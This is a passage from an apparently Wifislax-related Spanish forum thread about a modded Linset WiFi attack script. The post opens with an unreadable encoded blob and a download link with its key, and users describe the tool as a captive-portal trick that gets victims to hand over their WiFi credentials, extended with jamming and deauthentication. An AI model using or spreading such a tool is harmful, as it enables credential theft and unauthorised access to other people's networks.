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
p

https://mega.nz/#!3kUQSJJa Clave: !ZY8YLsjJ06TZDusUjKt7HNSvjss2euOyhdrGPE7ykQU Disfrutenlo ¡¡¡
« Última modificación: 02-07-2016, 01:35 (Sábado) por Pentest-2016 »

Desconectado sanson

  • Colaborador
  • *
  • Mensajes: 8404
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #12 en: 02-07-2016, 12:50 (Sábado) »
Hola

A ver si me puedes aclarar una cosa...    cuando dices ya tengo acabado mi linset.  Que quieres decir exactamente....


Es que no veo diferencia entre esto y linset salvo los colores y alguna cosa . Pero el funcionamiento del script es es mismo, dices " no necesita handshake"  pero es que linset no captura hansdhake tampoco. Es un ataque de a través de portal cautivo en el que el propio usuario nos das sus credenciales de acceso y este "tuyo" también  , por tanto son lo mismo


Saludos

Pentest-2016

  • Visitante
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #13 en: 02-07-2016, 13:35 (Sábado) »
Hola

A ver si me puedes aclarar una cosa...    cuando dices ya tengo acabado mi linset.  Que quieres decir exactamente....


Es que no veo diferencia entre esto y linset salvo los colores y alguna cosa . Pero el funcionamiento del script es es mismo, dices " no necesita handshake"  pero es que linset no captura hansdhake tampoco. Es un ataque de a través de portal cautivo en el que el propio usuario nos das sus credenciales de acceso y este "tuyo" también  , por tanto son lo mismo


Saludos


Sanson no me quites las ilusiones  >:D xD

De no saber colocar ASCII a modificar algunas cosas, digo mi "Linset" porque lo he modificado algunas cosas, vale que hace el mismo funcionamiento, pero el Linset original no tiene el ataque con wifijammer, certificado SSL ¿Verdad?. Otra cosa, me gustaría que se ejecutara wifi curse (desautentifica clientes) en que línea sería para incluirlo?

Y ahora estoy pensando hacer otro "mod" a ver como queda. Saludos

tabiritrero

  • Visitante
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #14 en: 15-07-2016, 16:04 (Viernes) »
 

Desconectado USUARIONUEVO

  • Colaborador
  • *
  • Mensajes: 15985
Re: Ayuda colocar ASCII (Linset sin handshake)
« Respuesta #15 en: 15-07-2016, 16:20 (Viernes) »
¿Qué tiene que ver esto con "live wifislax"?

usa la zona

aplicaciones Linux ..